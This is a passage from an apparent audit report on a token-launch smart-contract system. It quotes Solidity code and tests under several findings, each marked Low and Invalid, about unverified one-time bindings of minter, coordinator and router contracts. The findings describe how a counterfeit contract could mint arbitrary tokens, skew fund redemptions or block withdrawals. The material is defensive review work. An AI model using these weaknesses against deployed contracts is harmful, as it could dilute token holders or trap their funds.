    /// @param coin_ Coin token this Mine will mint after the one-time authority handoff.
    /// @param usdg_ Standard USDG token paid by miners in raw units.
    /// @param fund_ Ownerless canonical Fund associated with the fixed launch graph.
    /// @param revenueRouter_ Initial contract receiving the complete mining-revenue remainder.
    /// @param initialOwner Canonical Launchpad and initial authority for creator-fee and revenue settings.
    constructor(address coin_, IERC20 usdg_, address fund_, address revenueRouter_, address initialOwner)
        Ownable(initialOwner)
    {
        if (
            coin_ == address(0) || address(usdg_) == address(0) || fund_ == address(0) || revenueRouter_ == address(0)
                || coin_.code.length == 0 || address(usdg_).code.length == 0 || fund_.code.length == 0
                || revenueRouter_.code.length == 0
        ) revert ZeroAddress();
        coin = ICoin(coin_);
        usdg = usdg_;
        fund = fund_;
        launchpad = ILaunchpad(initialOwner);
        startTime = block.timestamp;
        revenueRouter = revenueRouter_;
        _slot = _emptySlot();
```
### `Uploaded archive/packages/contracts/src/launch/CoinDeployer.sol`
#### Lines 12-24 — _Coin deployment assigns the deployer caller as initial owner and minter._

```
    /// @notice Deploys a zero-supply Coin with the caller as its initial owner and minter.
    /// @dev The caller sets metadata and transfers ownership separately from permanently binding the minter to Mine.
    /// @param name Display name of the new Coin.
    /// @param symbol Ticker symbol of the new Coin.
    /// @param creator Creator address included in the deployment salt.
    /// @param creatorNonce Creator-scoped nonce included in the deployment salt.
    /// @return coin Newly deployed Coin.
    function deploy(string calldata name, string calldata symbol, address creator, uint256 creatorNonce)
        external
        returns (Coin coin)
    {
        coin = new Coin{ salt: _salt(msg.sender, creator, creatorNonce) }(name, symbol, msg.sender);
    }
```
### `Uploaded archive/packages/contracts/test/minimal/Coin.t.sol`
#### Lines 153-167 — _The test confirms an unrelated deployed Coin contract is accepted as the permanently locked minter._

```
    function test_MinterHandoverIsOneTimeAndRequiresDeployedCode() external {
        vm.expectRevert(Coin.ZeroAddress.selector);
        coin.setMinter(address(0));

        vm.expectRevert(Coin.SameMinter.selector);
        coin.setMinter(address(this));

        vm.expectRevert(abi.encodeWithSelector(Coin.AddressHasNoCode.selector, ALICE));
        coin.setMinter(ALICE);

        Coin unrelatedCode = new Coin("Test Coin", "TFC", address(this));
        Coin trustBasedBinding = new Coin("Trust Based", "TRUST", address(this));
        trustBasedBinding.setMinter(address(unrelatedCode));
        assertEq(trustBasedBinding.minter(), address(unrelatedCode));
        assertTrue(trustBasedBinding.minterLocked());
```
## Description

`Launchpad` accepts its injected deployers based only on deployed code and trusts the `Mine` address returned by `mineDeployer` when assembling a launch. It then irreversibly installs that address through `Coin.setMinter`, which likewise accepts any distinct code-bearing address, rather than verifying the intended Mine implementation and its bindings to the launched `Coin`, Fund, USDG, and router. The stored minter is the sole caller authorized by `Coin.mint`, so an impostor that implements the setup selectors used during launch can retain unrestricted issuance authority after the launch completes. `Fund.redeem` also casts `coin.minter()` to `IMine` and uses `effectiveTotalSupply()` directly as its payout denominator, extending the unverified minter binding into backing-asset accounting. The test suite confirms that an unrelated deployed `Coin` contract satisfies the existing permanent-minter validation.
## Root cause

`Launchpad`, `Coin.setMinter`, and `Fund.redeem` treat deployed code and the stored `minter` address as proof of a canonical Mine relationship without validating the deployed component graph or Mine supply-accounting behavior.
## Impact

When a compromised or misconfigured bootstrap authority supplies a counterfeit deployer or minter, its contract can mint arbitrary Coin and thereby dilute holders. By returning an attacker-controlled or unusable `effectiveTotalSupply()`, it can set a favorable redemption rate to withdraw selected Fund assets or make redemption calls revert indefinitely; the one-time lock prevents replacing the bad binding.

---

# Permissionless Fund deployment accepts arbitrary Coin bindings
**#303384**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/launch/FundDeployer.sol` (2 locations)
#### Lines 6-13 — _Permissionless stateless helper forwards the caller-supplied address directly into the Fund constructor._

```
/// @notice Deploys Fund contracts without retaining ownership or mutable state.
contract FundDeployer {
    /// @notice Deploys an ownerless Fund bound to `coin`.
    /// @param coin Coin whose holders can redeem the Fund's backing assets.
    /// @return fund Newly deployed Fund.
    function deploy(address coin) external returns (Fund fund) {
        fund = new Fund(coin);
    }
```
⋯
#### Lines 7-14 — _Permissionless deploy() forwards an arbitrary caller-supplied coin address into Fund's constructor._

```
contract FundDeployer {
    /// @notice Deploys an ownerless Fund bound to `coin`.
    /// @param coin Coin whose holders can redeem the Fund's backing assets.
    /// @return fund Newly deployed Fund.
    function deploy(address coin) external returns (Fund fund) {
        fund = new Fund(coin);
    }
}
```
### `Uploaded archive/packages/contracts/src/core/Fund.sol` (2 locations)
#### Lines 61-66 — _Constructor checks only zero address and runtime bytecode before storing the address as ICoin._

```
    /// @notice Creates the ownerless, registry-free treasury backing `coin_`.
    /// @param coin_ Nonzero deployed Coin token backed by this Fund.
    constructor(address coin_) {
        if (coin_ == address(0) || coin_.code.length == 0) revert ForbiddenToken(coin_);
        coin = ICoin(coin_);
    }
```
⋯
#### Lines 111-136 — _Redemption later trusts the stored dependency for minter/supply lookup, transferFrom, and burn._ — _redeem() trusts coin.minter() to resolve to a genuine IMine implementation for the pro-rata denominator._ — _redeem() trusts coin.burn() to behave as the genuine Coin semantics._

```
        // Pending mining emission is economically issued even though it is minted only when the active tenure ends.
        // Include Mine's direct pending-emission view without mutating Mine.
        uint256 supplyBeforeBurn = IMine(coin.minter()).effectiveTotalSupply();
        uint256[] memory payouts = new uint256[](tokenCount);
        address previous;

        // Snapshot every selected balance before collecting and burning Coin.
        for (uint256 i; i < tokenCount; ++i) {
            address token = tokens[i];
            if (token == address(0) || token == address(coin)) revert ForbiddenToken(token);
            if (uint160(token) <= uint160(previous)) revert InvalidTokenOrder(previous, token);
            previous = token;
            uint256 balance = IERC20(token).balanceOf(address(this));
            payouts[i] = Math.mulDiv(balance, coinAmount, supplyBeforeBurn);
            if (payouts[i] < minimumAmounts[i]) {
                revert MinimumAmountNotMet(token, payouts[i], minimumAmounts[i]);
            }
        }

        IERC20(address(coin)).safeTransferFrom(msg.sender, address(this), coinAmount);
        coin.burn(coinAmount);

        for (uint256 i; i < tokenCount; ++i) {
            address token = tokens[i];
            uint256 payout = payouts[i];
            if (payout != 0) IERC20(token).safeTransfer(receiver, payout);
```
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol` (2 locations)
#### Lines 265-270 — _Canonical completed launches record the returned Fund and Coin in Launchpad state._

```
        _addStrategies(result, config);
        _grantCreator(result);
        _completeOwnership(result);
        result.launchId = ++launchCount;
        _launches[result.launchId] = result;
        launchIdByCoin[result.coin] = result.launchId;
```
⋯
#### Lines 321-326 — _Canonical flow wires Coin and Fund atomically and safely; the gap only affects standalone deployer usage._ — _Canonical launch passes the freshly deployed Coin to FundDeployer._

```
    function _deployCoinAndSignal(LaunchRecord memory r, string calldata name, string calldata symbol) private {
        r.coin = address(coinDeployer.deploy(name, symbol, r.originalCreator, r.creatorNonce));
        r.fund = address(fundDeployer.deploy(r.coin));
        r.signalCoin =
            address(signalDeployer.deploy(IERC20(r.coin), string.concat("Signal ", name), string.concat("s", symbol)));
    }
```
## Description

`FundDeployer.deploy` is permissionless and forwards a caller-provided `coin` address directly to `new Fund(coin)`. The `Fund` constructor rejects only zero and no-code addresses, then permanently stores any remaining address as `ICoin`. Redemption subsequently relies on that dependency for `minter`, `effectiveTotalSupply`, token transfer, and `burn` behavior. A caller can therefore create a standalone Fund bound to an unrelated, incompatible, or malicious contract that merely has code at its address. The component should restrict creation to an authenticated canonical launch flow or enforce a verifiable canonical Coin/graph binding before accepting the immutable dependency.
## Root cause

`FundDeployer.deploy` and the `Fund` constructor accept any nonzero address with bytecode as `coin` rather than verifying that it is bound to a canonical Coin graph.
## Impact

An attacker can deploy a decoy Fund backed by a counterfeit or incompatible Coin and expose users or integrations to reverts or attacker-selected redemption semantics. The shown permissionless deployment path does not alter Launchpad-recorded Funds or drain assets from an existing canonical launch; harm is confined to assets or interactions directed to the standalone decoy.

---

# Permanent coordinator binding lacks reciprocal authentication
**#303385**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/SignalCoin.sol` (6 locations)
#### Lines 75-84 — _Constructor accepts code-bearing Coin and sets the setup owner._

```
    constructor(IERC20 coin_, string memory name_, string memory symbol_, address initialOwner)
        ERC20(name_, symbol_)
        EIP712(name_, "1")
        Ownable(initialOwner)
    {
        if (address(coin_) == address(0) || address(coin_).code.length == 0) {
            revert ZeroAddress();
        }
        coin = coin_;
    }
```
⋯
#### Lines 86-98 — _Scalar additions route through the permanently stored Resonance binding._ — _Signal addition deposits and mints before calling the configured coordinator._

```
    /// @notice Deposits Coin, mints equal sCoin, and signals one live Strategy atomically.
    /// @dev Requires a bound Resonance and caller allowance. Self-delegates when the caller has no delegate; otherwise
    ///      preserves its choice. Resonance and Bribe checkpoint prior weights before adding signal. Any failure,
    ///      including a non-manager addition during managed signaling, reverts custody, minting, and signal changes.
    /// @param strategy Auction address identifying the registered live Strategy receiving the complete new signal weight.
    /// @param amount Nonzero raw units of Coin deposited, sCoin minted, and signal weight assigned.
    function addSignal(address strategy, uint256 amount) external nonReentrant {
        _requireAmount(amount);
        IResonance configuredResonance = _configuredResonance();

        _depositAndMint(msg.sender, amount);
        _addSignal(configuredResonance, msg.sender, strategy, amount);
    }
```
⋯
#### Lines 145-169 — _Scalar and batch removals invoke the bound Resonance, so the mismatch also prevents signal exits._ — _removeSignal calls the Resonance hook before burn/withdraw, so a reverting hook blocks fund exit._ — _Scalar removals use the same permanently bound dependency._ — _Signal removal calls the configured coordinator before burning and returning Coin._ — _Signal removals also dispatch through the same configured Resonance, so withdrawals depend on the binding._

```
    function removeSignal(address strategy, uint256 amount) external nonReentrant {
        _requireAmount(amount);
        IResonance configuredResonance = _configuredResonance();

        _removeSignal(configuredResonance, msg.sender, strategy, amount);
        _burnAndWithdraw(msg.sender, amount);

        emit SignalWithdrawn(msg.sender, strategy, amount);
    }

    /// @notice Removes signal in a batch, burns the total sCoin, and returns equal Coin.
    /// @dev Rejects an empty array or any zero amount. Duplicate Strategies behave like sequential scalar removals.
    ///      Amounts are summed with checked arithmetic before any hook runs. Each allocation executes the canonical
    ///      removal hook, including for killed Strategies. Then burns the total sCoin and returns equal Coin.
    ///      Any failure reverts the complete batch.
    /// @param allocations Nonempty list of Strategy allocations with nonzero raw-unit amounts to remove.
    function removeSignalMany(Allocation[] calldata allocations) external nonReentrant {
        uint256 totalAmount = _totalAmount(allocations);
        IResonance configuredResonance = _configuredResonance();

        uint256 length = allocations.length;
        for (uint256 i; i < length; ++i) {
            Allocation calldata allocation = allocations[i];
            _removeSignal(configuredResonance, msg.sender, allocation.strategy, allocation.amount);
        }
```
⋯
#### Lines 179-190 — _One-time Resonance binding validated only by nonzero/code-length check, no reciprocal identity check._ — _One-time binding checks only code existence and stores the arbitrary candidate._ — _The owner-only one-time binding checks only nonzero address and deployed bytecode before storing the candidate permanently._

```
    /// @notice Binds the permanent Resonance dependency.
    /// @dev Callable only by the current owner and only while `resonance` is zero. The candidate must be a nonzero
    ///      deployed contract. Binding has no replacement path and does not transfer or renounce inherited ownership.
    /// @param resonance_ Resonance contract address to bind.
    function setResonance(address resonance_) external onlyOwner {
        if (resonance != address(0)) revert ResonanceAlreadySet(resonance);
        if (resonance_ == address(0) || resonance_.code.length == 0) revert ZeroAddress();

        resonance = resonance_;

        emit ResonanceSet(resonance_);
    }
```
⋯
#### Lines 204-220 — _Receipt add/remove operations delegate signal changes to the bound Resonance and then perform custody transitions._ — _All receipt signal mutations are forwarded to the permanently configured Resonance._

```
    /// @dev Applies one canonical Resonance addition and emits the public receipt-level event.
    function _addSignal(IResonance configuredResonance, address account, address strategy, uint256 amount) private {
        configuredResonance.addSignalFor(account, strategy, amount);
        emit Signaled(account, strategy, amount);
    }

    /// @dev Applies one canonical Resonance removal. The caller emits after aggregate custody changes complete.
    function _removeSignal(IResonance configuredResonance, address account, address strategy, uint256 amount) private {
        configuredResonance.removeSignalFor(account, strategy, amount);
    }

    /// @dev Burns sCoin and returns equal raw Coin to `account`; a failed transfer reverts the burn.
    /// @param account Account whose receipt is burned and that receives Coin.
    /// @param amount Raw sCoin units burned and equal Coin units transferred.
    function _burnAndWithdraw(address account, uint256 amount) private {
        _burn(account, amount);
        coin.safeTransfer(account, amount);
```
⋯
#### Lines 234-239 — _All signal operations use the stored address as an IResonance interface._

```
    /// @dev Loads the one-time Resonance binding and rejects signal operations while setup is incomplete.
    /// @return configuredResonance Bound Resonance interface.
    function _configuredResonance() private view returns (IResonance configuredResonance) {
        configuredResonance = IResonance(resonance);
        if (address(configuredResonance) == address(0)) revert ResonanceNotSet();
    }
```
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol` (3 locations)
#### Lines 313-316 — _Canonical Launchpad constructs Resonance using the just-deployed SignalCoin._

```
        r.resonance = address(
            resonanceDeployer.deploy(
                IERC20(r.signalCoin), IERC20(address(usdg)), r.fund, bribeFactory, auctionFactory, signalManager
            )
```
⋯
#### Lines 321-341 — _Canonical flow deploys and binds the matching pair atomically, making the mismatch unreachable only through Launchpad._ — _Canonical launch binds the router and SignalCoin to the freshly deployed Resonance._ — _Canonical Launchpad then binds that Resonance and router during the same atomic launch._

```
    function _deployCoinAndSignal(LaunchRecord memory r, string calldata name, string calldata symbol) private {
        r.coin = address(coinDeployer.deploy(name, symbol, r.originalCreator, r.creatorNonce));
        r.fund = address(fundDeployer.deploy(r.coin));
        r.signalCoin =
            address(signalDeployer.deploy(IERC20(r.coin), string.concat("Signal ", name), string.concat("s", symbol)));
    }

    function _deployAdministration(
        LaunchRecord memory r,
        string calldata metadataURI,
        address creatorFeeRecipient,
        uint256 creatorFeeBps
    ) private {
        r.resonanceRouter = address(routerDeployer.deploy(IERC20(address(usdg)), Resonance(r.resonance)));
        Mine mine = mineDeployer.deploy(Coin(r.coin), IERC20(address(usdg)), r.fund, r.resonanceRouter);
        r.mine = address(mine);
        Coin(r.coin).setTokenURI(metadataURI);
        mine.setCreatorFeeBps(creatorFeeBps);
        mine.setCreatorFeeRecipient(creatorFeeRecipient);
        SignalCoin(r.signalCoin).setResonance(r.resonance);
        Resonance(r.resonance).setResonanceRouter(r.resonanceRouter);
```
⋯
#### Lines 407-413 — _Canonical launch then renounces SignalCoin ownership and transfers other administration._

```
    /// @dev Disables SignalCoin setup and hands component administration to the creator-owned controller.
    function _completeOwnership(LaunchRecord memory r) private {
        SignalCoin(r.signalCoin).renounceOwnership();
        Coin(r.coin).transferOwnership(r.controller);
        Mine(r.mine).transferOwnership(r.controller);
        Resonance(r.resonance).transferOwnership(r.controller);
        FullRangeERC20(r.pool).transferOwnership(r.controller);
```
### `Uploaded archive/packages/contracts/src/core/Resonance.sol` (5 locations)
#### Lines 56-59 — _Resonance stores its own immutable SignalCoin coordinator._ — _Resonance stores the immutable SignalCoin coordinator identity._

```
    /// @notice Immutable non-transferable receipt and sole coordinator allowed to change Strategy signal weights.
    IERC20 public immutable signalCoin;
    /// @notice Immutable USDG revenue token streamed to Strategies and accounted for only in raw token units.
    IERC20 public immutable usdg;
```
⋯
#### Lines 216-220 — _onlySignalCoin enforces the modifier only against Resonance's own immutable signalCoin._ — _Resonance restricts signal mutations to its own immutable SignalCoin address._

```
    /// @dev Restricts signal-weight mutations to the immutable `signalCoin` coordinator.
    modifier onlySignalCoin() {
        if (msg.sender != address(signalCoin)) revert UnauthorizedSignalSource(msg.sender);
        _;
    }
```
⋯
#### Lines 234-257 — _Resonance construction validates only that the supplied SignalCoin is a deployed contract, not that it reciprocally binds this Resonance._ — _Each Resonance instance stores the supplied SignalCoin independently, establishing the mismatch condition._ — _Resonance stores its own independently supplied signalCoin address during construction._

```
    constructor(
        IERC20 signalCoin_,
        IERC20 usdg_,
        address fund_,
        BribeFactory bribeFactory_,
        AuctionFactory auctionFactory_,
        address initialOwner,
        address initialSignalManager
    ) Ownable(initialOwner) {
        if (
            address(signalCoin_) == address(0) || address(usdg_) == address(0) || fund_ == address(0)
                || address(bribeFactory_) == address(0) || address(auctionFactory_) == address(0)
                || address(signalCoin_).code.length == 0 || address(usdg_).code.length == 0 || fund_.code.length == 0
                || address(bribeFactory_).code.length == 0 || address(auctionFactory_).code.length == 0
        ) revert ZeroAddress();

        signalCoin = signalCoin_;
        usdg = usdg_;
        fund = fund_;
        bribeFactory = bribeFactory_;
        auctionFactory = auctionFactory_;
        signalManager = initialSignalManager;
        bribeBps = initialSignalManager == address(0) ? DEFAULT_BRIBE_BPS : 0;
    }
```
⋯
#### Lines 265-275 — _Add-signal entrypoint applies the immutable-caller guard and then uses the paired graph._

```
    function addSignalFor(address account, address strategy, uint256 amount)
        external
        override
        nonReentrant
        onlySignalCoin
    {
        if (account == address(0)) revert ZeroAddress();
        address manager = signalManager;
        if (manager != address(0) && account != manager) revert UnauthorizedSignaler(account);
        if (!isStrategyRegistered(strategy)) revert StrategyNotFound(strategy);
        if (!isStrategyLive[strategy]) revert StrategyAlreadyDead(strategy);
```
⋯
#### Lines 293-301 — _Remove-signal entrypoint applies the same immutable-caller guard._

```
    function removeSignalFor(address account, address strategy, uint256 amount)
        external
        override
        nonReentrant
        onlySignalCoin
    {
        if (account == address(0)) revert ZeroAddress();
        if (!isStrategyRegistered(strategy)) revert StrategyNotFound(strategy);
        if (amount == 0) revert ZeroAmount();
```
### `Uploaded archive/packages/contracts/src/launch/SignalDeployer.sol`
#### Lines 10-20 — _Public deployer creates a SignalCoin independently._ — _The standalone deployer creates SignalCoin with caller-controlled backing-token and setup ownership, leaving direct assembly dependent on correct external graph binding._

```
    /// @notice Deploys a SignalCoin with the caller authorized to bind Resonance and fund another account's signal.
    /// @dev Canonical Launchpad setup renounces ownership after its optional creator signal grant.
    /// @param coin Coin deposited to create signal receipts.
    /// @param name Display name of the signal receipt token.
    /// @param symbol Ticker symbol of the signal receipt token.
    /// @return signalCoin Newly deployed SignalCoin.
    function deploy(IERC20 coin, string calldata name, string calldata symbol)
        external
        returns (SignalCoin signalCoin)
    {
        signalCoin = new SignalCoin(coin, name, symbol, msg.sender);
```
### `Uploaded archive/packages/contracts/src/launch/ResonanceDeployer.sol`
#### Lines 20-28 — _Public deployer creates a Resonance from caller-supplied signalCoin._

```
    function deploy(
        IERC20 signalCoin,
        IERC20 usdg,
        address fund,
        BribeFactory bribeFactory,
        AuctionFactory auctionFactory,
        address signalManager
    ) external returns (Resonance resonance) {
        resonance = new Resonance(signalCoin, usdg, fund, bribeFactory, auctionFactory, msg.sender, signalManager);
```
## Description

`setResonance` permanently accepts any nonzero address with bytecode, without establishing that it is the intended `Resonance` instance for this `SignalCoin`. A genuine `Resonance` separately fixes `signalCoin` at construction and permits signal mutations only when `msg.sender` equals that stored address, so binding a different instance makes its mutation calls revert. `SignalCoin` delegates both additions and removals to the stored coordinator, and removal invokes that external coordinator before it burns receipts and transfers backing Coin. The public deployers allow the two contracts to be assembled independently, while the one-time setter provides no correction path. In addition to an accidental mismatch, a setup owner can bind an arbitrary code-bearing coordinator that accepts additions but later rejects removals, because the setter does not authenticate a compatible coordinator implementation.
## Root cause

`setResonance` relies only on `code.length` when permanently selecting a coordinator, rather than validating both `Resonance.signalCoin() == address(this)` and that the candidate is an authorized compatible `Resonance` implementation.
## Impact

Binding a different genuine `Resonance` disables signal additions and removals, although a reverting addition rolls back its preceding custody and mint operations. A malicious or faulty arbitrary coordinator can instead accept deposits and signal additions, then reject `removeSignalFor`; because exits call it before `_burnAndWithdraw`, users' backing Coin can remain permanently inaccessible after the irreversible binding. The affected deployment has no on-chain way to replace its coordinator.

---

# Router dependency graph is not verified before permanent binding
**#303386**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/Resonance.sol` (3 locations)
#### Lines 210-214 — _Resonance authorizes revenue notifications solely by Router address, not by token or reciprocal identity._

```
    /// @dev Restricts revenue notifications to the sole Router stored in `resonanceRouter`.
    modifier onlyResonanceRouter() {
        if (msg.sender != resonanceRouter) revert UnauthorizedRevenueSource(msg.sender);
        _;
    }
```
⋯
#### Lines 342-355 — _Resonance pulls its own immutable USDG token from msg.sender during notification, causing a mismatch to revert._

```
    function notifyRevenue(uint256 amount) external override nonReentrant onlyResonanceRouter {
        if (amount == 0) revert ZeroAmount();

        uint256 notified = lifetimeRevenueNotified;
        uint256 maximum = MAX_LIFETIME_REVENUE_AMOUNT;
        if (amount > maximum - notified) {
            revert RevenueLifetimeCapExceeded(notified, amount, maximum);
        }

        uint256 remaining = remainingRevenue();
        if (amount < remaining) revert RevenueBelowRemaining(amount, remaining);

        _updateRevenue(address(0));
        usdg.safeTransferFrom(msg.sender, address(this), amount);
```
⋯
#### Lines 386-396 — _setResonanceRouter does not validate cross-binding compatibility and is single-use/irrevocable_ — _Permanent Router setter validates only nonzero address and deployed bytecode._

```
    /// @notice Binds a permanent ResonanceRouter for USDG revenue notifications.
    /// @dev Callable only by the current owner and only before a Router is bound. The candidate must be a nonzero
    ///      deployed contract. The binding cannot be replaced or cleared.
    /// @param resonanceRouter_ Router contract to bind.
    function setResonanceRouter(address resonanceRouter_) external onlyOwner {
        if (resonanceRouter != address(0)) revert ResonanceRouterAlreadySet(resonanceRouter);
        if (resonanceRouter_ == address(0) || resonanceRouter_.code.length == 0) revert ZeroAddress();

        resonanceRouter = resonanceRouter_;
        emit ResonanceRouterSet(resonanceRouter_);
    }
```
### `Uploaded archive/packages/contracts/src/core/ResonanceRouter.sol` (3 locations)
#### Lines 22-25 — _Router stores immutable USDG and Resonance identities._

```
    /// @notice Immutable USDG revenue token forwarded by this Router, accounted for in raw token units.
    IERC20 public immutable usdg;
    /// @notice Immutable Resonance receiver that schedules and indexes routed USDG.
    address public immutable resonance;
```
⋯
#### Lines 44-57 — _Router constructor validates only code-bearing token and coordinator, then stores them immutably._ — _Constructor checks only zero addresses and deployed bytecode, then immutably stores token and Resonance independently._

```
    /// @notice Creates an immutable USDG route into a single Resonance receiver.
    /// @dev Both dependencies must be nonzero deployed contracts. Launchpad later binds this Router to Resonance during
    ///      the same atomic launch transaction.
    /// @param usdg_ USDG token forwarded by the Router.
    /// @param resonance_ Resonance contract that receives and schedules routed USDG.
    constructor(IERC20 usdg_, address resonance_) {
        if (
            address(usdg_) == address(0) || resonance_ == address(0) || address(usdg_).code.length == 0
                || resonance_.code.length == 0
        ) revert ZeroAddress();

        usdg = usdg_;
        resonance = resonance_;
    }
```
⋯
#### Lines 49-77 — _Constructor accepts any code-bearing dependencies; route reads its own token and calls its own configured Resonance._ — _Routing reads the Router's own token and coordinator and calls that coordinator._

```
    constructor(IERC20 usdg_, address resonance_) {
        if (
            address(usdg_) == address(0) || resonance_ == address(0) || address(usdg_).code.length == 0
                || resonance_.code.length == 0
        ) revert ZeroAddress();

        usdg = usdg_;
        resonance = resonance_;
    }

    /// @inheritdoc IResonanceRouter
    function route() external override nonReentrant returns (uint256 amount) {
        uint256 pending = usdg.balanceOf(address(this));
        if (pending == 0) revert NoRevenue();

        IResonance configuredResonance = IResonance(resonance);
        if (configuredResonance.totalSignalWeight() == 0) revert NoActiveSignal();
        uint256 minimum = configuredResonance.remainingRevenue();
        uint256 duration = configuredResonance.REWARD_DURATION();
        if (minimum < duration) minimum = duration;
        if (pending < minimum) {
            emit RevenueHeld(msg.sender, pending, minimum);
            return 0;
        }

        amount = pending;

        usdg.forceApprove(resonance, amount);
        configuredResonance.notifyRevenue(amount);
```
### `Uploaded archive/packages/contracts/src/core/Mine.sol` (2 locations)
#### Lines 303-305 — _Mine sends mining revenue to its configured destination._

```
        if (paymentAmount != 0) {
            _collectAndDeposit(msg.sender, fees.revenue, expectedEpochId, paymentAmount, revenueAmount);
        }
```
⋯
#### Lines 420-433 — _Mine transfers USDG to the selected Router without verifying that Router's immutable token._

```
    /// @param epochId Identifier of the tenure consumed by the replacement.
    /// @param paymentAmount Complete raw USDG amount pulled from `payer`.
    /// @param revenueAmount Raw USDG amount transferred to the snapshotted destination.
    function _collectAndDeposit(
        address payer,
        address router,
        uint256 epochId,
        uint256 paymentAmount,
        uint256 revenueAmount
    ) private {
        usdg.safeTransferFrom(payer, address(this), paymentAmount);
        usdg.safeTransfer(router, revenueAmount);

        emit RevenueDeposited(epochId, router, revenueAmount);
```
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol` (2 locations)
#### Lines 208-231 — _Launchpad validates the injected deployer only by code presence and stores it immutably._

```
        _requireContract(address(usdg_));
        _requireContract(address(poolFactory_));
        _requireContract(address(deployers_.coinDeployer));
        _requireContract(address(deployers_.fundDeployer));
        _requireContract(address(deployers_.signalDeployer));
        _requireContract(address(deployers_.mineDeployer));
        _requireContract(address(deployers_.resonanceDeployer));
        _requireContract(address(deployers_.routerDeployer));
        _requireContract(address(deployers_.controllerDeployer));
        _requireContract(address(deployers_.bribeFactory));
        _requireContract(address(deployers_.auctionFactory));
        if (usdg_.decimals() != 6) revert InvalidLaunchConfig();
        usdg = usdg_;
        poolFactory = poolFactory_;
        coinDeployer = deployers_.coinDeployer;
        fundDeployer = deployers_.fundDeployer;
        signalDeployer = deployers_.signalDeployer;
        mineDeployer = deployers_.mineDeployer;
        resonanceDeployer = deployers_.resonanceDeployer;
        routerDeployer = deployers_.routerDeployer;
        controllerDeployer = deployers_.controllerDeployer;
        bribeFactory = deployers_.bribeFactory;
        auctionFactory = deployers_.auctionFactory;
        protocolFeeRecipient = initialProtocolFeeRecipient;
```
⋯
#### Lines 334-341 — _Canonical assembly supplies matching USDG and Resonance addresses but does not make standalone bindings safe._

```
        r.resonanceRouter = address(routerDeployer.deploy(IERC20(address(usdg)), Resonance(r.resonance)));
        Mine mine = mineDeployer.deploy(Coin(r.coin), IERC20(address(usdg)), r.fund, r.resonanceRouter);
        r.mine = address(mine);
        Coin(r.coin).setTokenURI(metadataURI);
        mine.setCreatorFeeBps(creatorFeeBps);
        mine.setCreatorFeeRecipient(creatorFeeRecipient);
        SignalCoin(r.signalCoin).setResonance(r.resonance);
        Resonance(r.resonance).setResonanceRouter(r.resonanceRouter);
```
### `Uploaded archive/packages/contracts/src/launch/RouterDeployer.sol`
#### Lines 10-17 — _Permissionless stateless deployer forwards caller-chosen token/resonance into the constructor._ — _Permissionless deployer forwards both dependencies without validation._ — _Permissionless deployer passes caller-selected dependencies directly to the router constructor._

```
contract RouterDeployer {
    /// @notice Deploys a ResonanceRouter for the supplied USDG and Resonance.
    /// @param usdg Revenue token buffered by the router.
    /// @param resonance Permanent recipient of routed revenue.
    /// @return resonanceRouter Newly deployed ResonanceRouter.
    function deploy(IERC20 usdg, Resonance resonance) external returns (ResonanceRouter resonanceRouter) {
        resonanceRouter = new ResonanceRouter(usdg, address(resonance));
    }
```
### `Uploaded archive/packages/contracts/test/minimal/Resonance.t.sol`
#### Lines 84-102 — _Test demonstrates a token-mismatched router (`wrongToken`) is accepted and bound by setResonanceRouter._

```
    function test_ResonanceRouterBindingIsOwnerOnlyCodeBearingAndSingleUse() external {
        Resonance bare = _deployBareResonance();
        ResonanceRouter valid = new ResonanceRouter(IERC20(address(usdg)), address(bare));
        ResonanceRouter wrongToken = new ResonanceRouter(IERC20(address(target)), address(bare));

        vm.prank(ALICE);
        vm.expectRevert(abi.encodeWithSelector(Ownable.OwnableUnauthorizedAccount.selector, ALICE));
        bare.setResonanceRouter(address(valid));

        vm.expectRevert(Resonance.ZeroAddress.selector);
        bare.setResonanceRouter(address(0));
        vm.expectRevert(Resonance.ZeroAddress.selector);
        bare.setResonanceRouter(ALICE);

        bare.setResonanceRouter(address(wrongToken));
        assertEq(bare.resonanceRouter(), address(wrongToken));
        vm.expectRevert(abi.encodeWithSelector(Resonance.ResonanceRouterAlreadySet.selector, address(wrongToken)));
        bare.setResonanceRouter(address(valid));
    }
```
## Description

The permanent `Resonance` router binding accepts any code-bearing address without verifying that the candidate router is bound to `address(this)` and the same `usdg` token. `ResonanceRouter` likewise accepts independently selected code-bearing token and receiver dependencies, while `route()` uses those immutable dependencies rather than the graph that later binds or funds the router. Consequently, a wrong-token router will not account for the USDG transferred to it, and a router targeting another Resonance can revert or route qualifying balances into that other receiver. The router can also be constructed with code-bearing dependencies that do not provide the ERC-20 or `IResonance` behavior subsequently invoked by `route()`, yielding a deployed but unusable endpoint. Because the binding is single-use and the router has no described recovery path, a bad binding or independently consumed bad deployment cannot be corrected in place; the canonical Launchpad path supplies matching dependencies but does not enforce the invariant for alternate configuration paths.
## Root cause

`setResonanceRouter` and `ResonanceRouter` validate only nonzero code-bearing dependencies, rather than enforcing reciprocal `resonance`/`usdg` identity and the interfaces required by `route()`.
## Impact

A privileged deployer or owner that binds an incompatible router can cause future Mine USDG revenue to remain in the router or be credited to a different Resonance graph, depriving the intended revenue schedule and strategies. If the router token and target Resonance use different tokens, `notifyRevenue` pulls the target's own `usdg` after the router approved its separate token, so routing reverts and the router's balance remains unavailable to the intended graph. Standalone integrations using the permissionless deployer can similarly receive an unusable router and trap tokens sent to it.

---

# Payout-incompatible reward token can brick aggregate claims
**#303387**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/Resonance.sol` (2 locations)
#### Lines 315-330 — _The wrapper fixes the beneficiary to its caller and delegates each selected registered strategy to `Bribe.claimRewards`, propagating a broken-token revert._

```
    /// @notice Claims every registered reward token from each selected Strategy's canonical Bribe for the caller.
    /// @dev The beneficiary is always `msg.sender`; no caller may advance another account's reward checkpoint. Each
    ///      Strategy must be registered but may be live or killed. Duplicate Strategies execute sequentially. The outer
    ///      array is caller-controlled and each Bribe loops over at most sixteen reward tokens, so callers must split a
    ///      batch that would exceed available gas. Any failed reward-token transfer reverts the complete batch; direct
    ///      scalar `Bribe.claimReward` remains the broken-token and bounded-gas fallback.
    /// @param strategies Registered Strategies whose canonical Bribes should pay the caller.
